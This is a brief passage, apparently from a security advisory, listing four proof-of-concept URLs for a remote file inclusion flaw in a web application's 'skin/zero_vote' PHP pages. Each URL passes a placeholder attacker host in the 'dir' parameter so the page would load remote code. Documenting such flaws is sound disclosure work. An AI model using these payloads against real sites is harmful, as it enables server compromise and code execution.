The following proof of concept examples are available:http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/